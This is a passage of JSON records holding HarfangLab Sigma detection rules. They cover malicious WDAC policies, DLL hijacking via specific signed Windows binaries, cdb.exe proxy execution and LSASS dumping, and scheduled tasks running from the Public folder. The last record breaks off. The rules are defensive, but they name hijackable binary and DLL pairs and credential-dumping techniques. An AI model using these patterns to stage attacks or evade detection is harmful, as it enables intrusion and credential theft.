+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622404Z",
+  "creation_date": "2026-03-23T11:45:34.622406Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622411Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_suspicious_wdac_policy_created.yml",
+  "content": "title: Suspicious WDAC Policy Created\nid: 9f13ba3c-0293-498b-b769-b5966fb5c0ba\ndescription: |\n    Detects the creation of a Windows Defender Application Control (WDAC) policy file, which may indicate changes to application trust or execution policies.\n    Windows Defender Application Control (WDAC) is a Windows security feature that defines which applications and binaries are allowed to run on a system.\n    An attacker-controlled WDAC policy can be used to bypass EDR enforcement, allow the execution of malicious code, and establish persistence by controlling which binaries are trusted on the system.\n    It is recommended to investigate the originating process and context of the WDAC policy file creation to determine whether the activity is legitimate or malicious.\nreferences:\n    - https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/01/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            - '?:\\Windows\\System32\\CodeIntegrity\\SiPolicy.p7b'\n            - '?:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\SiPolicy.p7b'\n            - '?:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{????????-????-????-????-????????????}.cip'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_intune:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n\n    exclusion_wmi:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding'\n        Path: '?:\\Windows\\System32\\CodeIntegrity\\SiPolicy.p7b'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9f13ba3c-0293-498b-b769-b5966fb5c0ba",
+  "rule_name": "Suspicious WDAC Policy Created",
+  "rule_description": "Detects the creation of a Windows Defender Application Control (WDAC) policy file, which may indicate changes to application trust or execution policies.\nWindows Defender Application Control (WDAC) is a Windows security feature that defines which applications and binaries are allowed to run on a system.\nAn attacker-controlled WDAC policy can be used to bypass EDR enforcement, allow the execution of malicious code, and establish persistence by controlling which binaries are trusted on the system.\nIt is recommended to investigate the originating process and context of the WDAC policy file creation to determine whether the activity is legitimate or malicious.\n",
+  "rule_creation_date": "2025-01-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9f30d778-cc39-4952-97c0-7fa4be2c026e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611100Z",
+  "creation_date": "2026-03-23T11:45:34.611103Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611111Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_launchwinapp.yml",
+  "content": "title: DLL Hijacking via LaunchWinApp.exe\nid: 9f30d778-cc39-4952-97c0-7fa4be2c026e\ndescription: |\n    Detects potential Windows DLL Hijacking via LaunchWinApp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LaunchWinApp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\iertutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9f30d778-cc39-4952-97c0-7fa4be2c026e",
+  "rule_name": "DLL Hijacking via LaunchWinApp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LaunchWinApp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9f7e0fa2-5120-4011-8793-2b89c593ebe7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087631Z",
+  "creation_date": "2026-03-23T11:45:34.087633Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087637Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/",
+    "https://attack.mitre.org/techniques/T1127/"
+  ],
+  "name": "t1127_cdb_execution_for_proxy_or_dump.yml",
+  "content": "title: Suspicious cdb.exe Execution\nid: 9f7e0fa2-5120-4011-8793-2b89c593ebe7\ndescription: |\n    Detects a suspicious execution of cdb.exe.\n    Attackers can use this legitimate developer tool in order to proxy the execution of malicious payloads or dump process memory (such as LSASS').\n    It is recommended to investigate the file provided in the command-line to determine whether this action was legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/\n    - https://attack.mitre.org/techniques/T1127/\ndate: 2022/06/10\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1127\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Cdb\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'cdb.exe'\n\n    selection_commandline_1:\n        CommandLine|contains:\n            - ' -c *$<*'\n            - ' /c *$<*'\n\n    selection_commandline_2:\n        CommandLine|contains:\n            - ' -cf '\n            - ' /cf '\n\n    condition: selection and 1 of selection_commandline_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9f7e0fa2-5120-4011-8793-2b89c593ebe7",
+  "rule_name": "Suspicious cdb.exe Execution",
+  "rule_description": "Detects a suspicious execution of cdb.exe.\nAttackers can use this legitimate developer tool in order to proxy the execution of malicious payloads or dump process memory (such as LSASS').\nIt is recommended to investigate the file provided in the command-line to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-06-10",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1127",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9fbba3f7-6063-4790-ae44-e46758f630d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607746Z",
+  "creation_date": "2026-03-23T11:45:34.607749Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607757Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_scheduled_task_public_folder.yml",
+  "content": "title: Scheduled Task Created in Public User Folder\nid: 9fbba3f7-6063-4790-ae44-e46758f630d3\ndescription: |\n    Detects a scheduled task being created with one of its actions referencing the \"C:\\Users\\Public\" folder.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to investigate the process creating the scheduled task, in addition to any binaries or commands referenced in the scheduled task for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/10/16\nmodified: 2025/10/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection:\n        OperationType: 'create'\n        TaskContent|contains: '?:\\Users\\Public\\\\*.exe'\n\n    filter_depth:\n        TaskContent|contains: '?:\\Users\\Public\\\\*\\\\*.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9fbba3f7-6063-4790-ae44-e46758f630d3",
+  "rule_name": "Scheduled Task Created in Public User Folder",
+  "rule_description": "Detects a scheduled task being created with one of its actions referencing the \"C:\\Users\\Public\" folder.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to investigate the process creating the scheduled task, in addition to any binaries or commands referenced in the scheduled task for suspicious activities.\n",
+  "rule_creation_date": "2025-10-16",
+  "rule_modified_date": "2025-10-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9fece9bc-3902-4c65-aa6a-0d1e161a1691",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594373Z",
+  "creation_date": "2026-03-23T11:45:34.594377Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594385Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_route.yml",
+  "content": "title: DLL Hijacking via route.exe\nid: 9fece9bc-3902-4c65-aa6a-0d1e161a1691\ndescription: |\n    Detects potential Windows DLL Hijacking via route.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'route.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\IPHLPAPI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9fece9bc-3902-4c65-aa6a-0d1e161a1691",
+  "rule_name": "DLL Hijacking via route.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via route.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a0466fa2-bd36-4417-8ffc-f643d82c590d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082703Z",
+  "creation_date": "2026-03-23T11:45:34.082705Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082710Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wimserv.yml",
+  "content": "title: DLL Hijacking via wimserv.exe\nid: a0466fa2-bd36-4417-8ffc-f643d82c590d\ndescription: |\n    Detects potential Windows DLL Hijacking via wimserv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wimserv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\Cabinet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a0466fa2-bd36-4417-8ffc-f643d82c590d",
+  "rule_name": "DLL Hijacking via wimserv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wimserv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a05613da-3d11-40bc-aeee-449f421ee503",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602077Z",
+  "creation_date": "2026-03-23T11:45:34.602080Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602088Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_unregmp2.yml",
+  "content": "title: DLL Hijacking via unregmp2.exe\nid: a05613da-3d11-40bc-aeee-449f421ee503\ndescription: |\n    Detects potential Windows DLL Hijacking via unregmp2.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'unregmp2.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a05613da-3d11-40bc-aeee-449f421ee503",
+  "rule_name": "DLL Hijacking via unregmp2.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via unregmp2.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a07274ba-e853-4ac9-b887-bc07d56cd242",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623523Z",
+  "creation_date": "2026-03-23T11:45:34.623525Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623530Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha",
+    "https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/",
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/",
+    "https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1204/004/"
+  ],
+  "name": "t1204_001_fake_captcha_exploitation.yml",
